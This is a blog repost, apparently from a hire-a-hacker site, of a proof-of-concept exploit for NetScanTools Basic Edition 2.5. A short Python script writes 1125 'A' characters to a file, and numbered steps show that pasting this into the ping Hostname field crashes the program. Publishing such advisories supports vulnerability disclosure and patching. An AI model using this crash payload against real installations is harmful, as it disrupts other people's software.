Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    86387099

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: NetScanTools Basic Edition 2.5 - 'Hostname' Denial of Service (PoC)
# Discovery by: Luis Martínez
# Discovery Date: 2018-07-26
# Vendor Homepage: https://www.netscantools.com/
# Software Link : http://download.netscantools.com/nstb250.zip
# Tested Version: 2.5
# Vulnerability Type: Denial of Service (DoS) Local
# Tested on OS: Windows 10 Pro x64 es

# Steps to Produce the Crash: 
# 1.- Run python code : python NetScanTools_Basic_Edition_2.5.py
# 2.- Open NetScanTools_Basic_Edition_2.5.txt and copy content to clipboard
# 3.- Open NstBasic.exe
# 4.- Ping and Traceroute Tools
# 5.- Ping
# 6.- Paste ClipBoard on Target Hostname or IPv4 Address
# 7.- Do Ping
# 8.- Crashed

#!/usr/bin/env python
 
buffer = "\x41" * 1125
f = open ("NetScanTools_Basic_Edition_2.5.txt", "w")
f.write(buffer)
f.close()